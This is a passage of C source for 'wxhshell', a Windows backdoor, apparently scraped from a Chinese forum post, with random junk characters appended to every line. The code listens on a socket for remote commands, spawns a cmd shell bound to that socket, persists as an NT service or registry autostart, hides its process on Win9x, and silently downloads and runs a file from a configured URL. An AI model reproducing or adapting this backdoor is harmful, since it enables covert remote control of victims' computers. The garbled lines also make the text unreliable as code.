JDTlzu1hR  
    switch(cmd[0]) { 8zDLX,M-  
  Fj?gXc5{  
  // 帮助 ID/=YG@  
  case '?': { {yo<19kV@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I ,j,H z0  
    break; p$mx  
  } sqtMhUQ?>w  
  // 安装 q%g!TFMg  
  case 'i': { v}vwk8  
    if(Install()) l70a&[W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); avJ%J"j8z  
    else 8`QbUQ6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xSnkv,my<  
    break; k0@b"y*  
    } P2U^%_~  
  // 卸载  `7v"(  
  case 'r': { >(>,*zP<9  
    if(Uninstall()) ZDQc_{e{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0Nvk|uI V[  
    else _h?hFs,N]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zb p+b;  
    break; v:$Ka@v6  
    } K{]9Yo  
  // 显示 wxhshell 所在路径 zv~dW4'  
  case 'p': { T?4pV#  
    char svExeFile[MAX_PATH]; >-%tvrS%  
    strcpy(svExeFile,"\n\r"); /0.m|Th'm  
      strcat(svExeFile,ExeFile); K~1u R:DR  
        send(wsh,svExeFile,strlen(svExeFile),0); ';>]7oT`  
    break; -2o_ L?  
    } , QB]y|:  
  // 重启 yYdow.b!  
  case 'b': { I34|<3t$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); QfdATK P  
    if(Boot(REBOOT)) +D3w2C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?M<q95pL  
    else { C\3;o]  
    closesocket(wsh); K:<j=j@51  
    ExitThread(0); iE6?Px9]  
    } 4r+@7hnK  
    break; Whd\Ub8(  
    } rEoMj)~\4&  
  // 关机 43'!<[?x  
  case 'd': { k_o$ Ci  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s*g`| E{M  
    if(Boot(SHUTDOWN)) ;4MC/Q/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DN$[rCi7  
    else { H;1_"  
    closesocket(wsh); (D<_ iV  
    ExitThread(0);  @mD$Z09~  
    } 6zZT5 Kn  
    break; * ^+]`S  
    } ~Y_5q)t(  
  // 获取shell -4;$NiB?  
  case 's': { ,pTj'I  
    CmdShell(wsh); q*^m8  
    closesocket(wsh); ~WW!P_wI,  
    ExitThread(0); Ib&]1ger#=  
    break; >d9b"T  
  } x@p1(V.  
  // 退出 jap5FG+2  
  case 'x': { k9*6`w  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L!c.1Rf_  
    CloseIt(wsh); /S #Z.T~~  
    break; H "; !A=0  
    } l:.q1UV  
  // 离开 Ai*+LSG  
  case 'q': { HOr.(gL!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =mp"=%  
    closesocket(wsh); 6N#0D2~^  
    WSACleanup(); ?^by3\,VZ  
    exit(1); v[b|J7k  
    break; i"h~QEE  
        } o'KBe%@/  
  } :#zVF[Y(2  
  } 7%sx["%@  
!q[r_wL  
  // 提示信息 TB%NHq-!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )4;$;a1  
} GQ8A}gwH  
  } }v`Z. ?|Z  
*km!<L7Y  
  return; q&nEodv>+  
} ,{jF)NQaP  
3-T"[tCe  
// shell模块句柄 k++"  
int CmdShell(SOCKET sock) K&{ruHoKB  
{ S] R.:T_%  
STARTUPINFO si; E5X#9;U8E"  
ZeroMemory(&si,sizeof(si)); !<UdG+iV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hcT5>w[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *JA0Vs 5  
PROCESS_INFORMATION ProcessInfo; ?58*#'r  
char cmdline[]="cmd"; iGw\A!}w\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,opS)C$  
  return 0; l|S_10x5  
} }08Sv=XM  
68()2v4X  
// 自身启动模式 G2s2i2& 6E  
int StartFromService(void) (v0i]1ly[  
{ eAK=ylF;  
typedef struct g?gF*^_0  
{ 6#;u6@+}yy  
  DWORD ExitStatus; 7.nNz&UG]5  
  DWORD PebBaseAddress; Q- }cB  
  DWORD AffinityMask; bNG7A[|B  
  DWORD BasePriority; J] )gXVRM  
  ULONG UniqueProcessId; b\Mb6s  
  ULONG InheritedFromUniqueProcessId; /ptG  
}   PROCESS_BASIC_INFORMATION; xxZO{_q  
XNr8,[c  
PROCNTQSIP NtQueryInformationProcess; 9`Y\`F#}q  
rebWXz7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !a7YM4D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y?4N%c_;  
0/JTbf. CX  
  HANDLE             hProcess; \y0]BH  
  PROCESS_BASIC_INFORMATION pbi; swfjKBfw+g  
4CK$W` V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A,;[9J2\&  
  if(NULL == hInst ) return 0; `OHdo$Y9  
)5ev4Qf  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <y<   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ja%IGaH;s  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2Xqa?ay0>  
3RP\w~?  
  if (!NtQueryInformationProcess) return 0; D"<>! ]@(a  
@0D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s(r1q$5  
  if(!hProcess) return 0; n*m"yp  
i{}Q5iy  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2SXy)m !  
gCZm7dgo  
  CloseHandle(hProcess); uC5W1LyI  
p&lT! 5P!A  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); PcEE@W9  
if(hProcess==NULL) return 0; ,F?O} ijk  
;tWi4iT+.  
HMODULE hMod; _53N uEM1  
char procName[255]; K[[ 5H  
unsigned long cbNeeded; 4Ep6vm X  
t/c)[l hV  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xP5Z -eL  
X-F:)/$xG  
  CloseHandle(hProcess); J8@7 5p9  
`e }6/~R`  
if(strstr(procName,"services")) return 1; // 以服务启动 %5Zhq>  
&&TAX  
  return 0; // 注册表启动 xeKfc}:&z  
} B18?)LA  
BUU ) Sz  
// 主模块 #F:\_!2c  
int StartWxhshell(LPSTR lpCmdLine) >]/aG!  
{ tREC)+*\  
  SOCKET wsl; S!g0J}.z  
BOOL val=TRUE; S*(n s<L  
  int port=0; (2'q~Z+>'  
  struct sockaddr_in door; ?dQ#%06mn  
?#J;\^  
  if(wscfg.ws_autoins) Install(); V ee;&  
f=Kt[|%'e  
port=atoi(lpCmdLine); ~?:Xi_3Lo  
Yzih-$g  
if(port<=0) port=wscfg.ws_port; VRvX^w0  
ZWy,NN1  
  WSADATA data; F=V_ACU  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B0ZLGB  
C''[[sw'K  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Z]k+dJ[-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d^G5Pq  
  door.sin_family = AF_INET; iYl{V']A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (lLCAmK 5?  
  door.sin_port = htons(port); 2VgVn,c  
{3N5Fi7S  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { FSyeDC^@  
closesocket(wsl); giu8EjzK  
return 1; jHM}({)-  
} 1w|u ^[~u\  
z{G@t0q  
  if(listen(wsl,2) == INVALID_SOCKET) { i&zJwUr(<  
closesocket(wsl); ufXU  
return 1; 3R[,,WAj$  
} (d}z>?L  
  Wxhshell(wsl); Q) Y&h'.(  
  WSACleanup(); TuMD+^x  
c7/fQc)h4d  
return 0; @^K_>s9B  
[p 8fg!|  
} d>jRw  
W*Ce1  
// 以NT服务方式启动 ZsL-vlv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  nCSXvd/  
{ R\>=}7  
DWORD   status = 0; .6y(ox|LL  
  DWORD   specificError = 0xfffffff; k+As#7V  
t zSg`7H!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -% g{{'9B  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; & <Jvaf_=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "jAEZ  
  serviceStatus.dwWin32ExitCode     = 0; #{Gojg`5O  
  serviceStatus.dwServiceSpecificExitCode = 0; Y )9]I6n7  
  serviceStatus.dwCheckPoint       = 0; QTuj v<|  
  serviceStatus.dwWaitHint       = 0; bcE%EQ  
Tp fC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D3kx&AR  
  if (hServiceStatusHandle==0) return; etLA F  
a?ii)GGq  
status = GetLastError(); =U<6TP]{  
  if (status!=NO_ERROR) m/>z}d05h  
{ XCku[?Ix  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [iT#Pu5  
    serviceStatus.dwCheckPoint       = 0; 6j=a   
    serviceStatus.dwWaitHint       = 0; 4I<U5@a  
    serviceStatus.dwWin32ExitCode     = status; pk:2>sx/  
    serviceStatus.dwServiceSpecificExitCode = specificError; qC$h~Epp4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^fbw0  
    return; Jz'8|o;^  
  } J3#  
,K[}Bz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6$"0!fl>  
  serviceStatus.dwCheckPoint       = 0; AHtLkfr(r  
  serviceStatus.dwWaitHint       = 0; A]CO Ysc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zM mV Yx  
} pm~uWXqxr=  
Tq=OYJq5U  
// 处理NT服务事件,比如:启动、停止 .~fAcc{Qj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c!}f\ ]D  
{ R'{BkC}.  
switch(fdwControl) hu''"/raM  
{ ~pj/_@S@x  
case SERVICE_CONTROL_STOP: lhLE)B2a2  
  serviceStatus.dwWin32ExitCode = 0; 4?F7%^vr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; y |E {]  
  serviceStatus.dwCheckPoint   = 0; fxL0"Ry  
  serviceStatus.dwWaitHint     = 0; \IG"Te  
  { 4'ymPPY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xv1mjHZCC  
  } JYU0&nZl4  
  return; =/]d\JSp  
case SERVICE_CONTROL_PAUSE: ,6FmU$ Kn  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6Y(Vs>  
  break; 0(~,U!g[=  
case SERVICE_CONTROL_CONTINUE: *1fZcw'C.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ib665H7w  
  break; 3gzcpFNqX  
case SERVICE_CONTROL_INTERROGATE: tZn=[X~Vw@  
  break; y vz2eAXa  
}; FtL{ f=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); } I;5yk,o  
} ><Z`) }f  
;p}X]e l}  
// 标准应用程序主函数 0/Wo":R:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LV X01ox$  
{ p .^#mN  
7ZVW7%,zF  
// 获取操作系统版本 X #!oG)or  
OsIsNt=GetOsVer(); 'aoHNZfxw  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  'WW['  
t!"XQ$g'  
  // 从命令行安装 yAt,XG3  
  if(strpbrk(lpCmdLine,"iI")) Install(); \.7O0Q{  
zxt&oT0Q  
  // 下载执行文件 |2eF~tJqc  
if(wscfg.ws_downexe) { ssy+x;<x,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Lp?JSMe  
  WinExec(wscfg.ws_filenam,SW_HIDE); q:D!@+U  
} %7*Y@k-)o  
5%E.UjC  
if(!OsIsNt) { 47c` ) *Hc  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^,.G<2Kx&  
HideProc(); kTLA["<m  
StartWxhshell(lpCmdLine); !z.C}n5F  
} }4n?k'_s?  
else j 4B|ktf  
  if(StartFromService()) ^YLpZoo  
  // 以服务方式启动 }m6j6uAR6)  
  StartServiceCtrlDispatcher(DispatchTable); =<M7t*!  
else ]%K 8  
  // 普通方式启动 5Se S^kJC  
  StartWxhshell(lpCmdLine); iVKX *kqc  
`RG_FS"v  
return 0; &E>zvRBQ  
}
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只看该作者 1 发表于: 2006-10-10
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